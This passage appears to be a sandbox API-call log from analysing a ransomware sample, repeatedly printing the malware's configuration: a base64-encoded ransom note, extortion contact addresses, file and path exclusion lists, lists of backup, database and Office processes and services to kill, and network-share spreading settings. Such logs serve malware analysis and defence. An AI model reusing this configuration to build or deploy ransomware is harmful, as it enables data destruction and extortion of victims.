oZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x2bf75c, _Radix=0 | out: _EndPtr=0x2bf75c*=",\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 8 [0126.740] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6970, Size=0x18) returned 0x2f6970 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f69b0 [0126.740] strtol (in: _Str="5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x2bf75c, _Radix=0 | out: _EndPtr=0x2bf75c*=", \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",